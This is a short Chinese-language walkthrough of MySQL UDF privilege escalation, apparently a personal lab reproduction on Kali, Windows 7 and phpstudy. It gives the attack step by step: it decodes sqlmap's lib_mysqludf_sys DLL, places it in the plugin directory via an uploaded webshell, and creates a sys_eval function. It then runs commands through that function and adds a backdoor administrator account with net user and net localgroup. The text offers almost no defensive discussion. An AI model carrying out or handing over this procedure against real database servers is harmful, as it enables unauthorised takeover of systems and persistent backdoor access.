udf提权
udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充。
- 如何获得udf文件
- 将文件放到哪才能让mysql承认这个函数
- 函数功能
- 为什么这东西能提权(自定义函数指令是直接以管理员的权限运行的)
前提
- SQL 注入且是高权限
- secure_file_priv 无限制
- plugin 目录可写
复现
环境:kali,win7,phpstudy,mysql5.5.47
1、udf位置
/usr/share/metasploit-framework/data/exploits/mysql
/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
暂时不能用,需要解码
cd /usr/share/sqlmap/extra/cloak
python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
2、文件路径
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
select @@basedir; +lib/plugin/
tips:这里注意mysql的版本
这里使用蚁剑将webshell上传上去
创建函数
create function sys_eval returns string soname 'udf.dll';
select sys_eval('whoami');
tips:这里需要改一下文件名
提权成功,administrator用户
net user test test /add
net localgroup administrators test /add
函数功能
sys_eval 执行任意命令,并将输出返回。
sys_exec 执行任意命令,并将退出码返回。
sys_get 获取一个环境变量。
sys_set 创建或修改一个环境变量。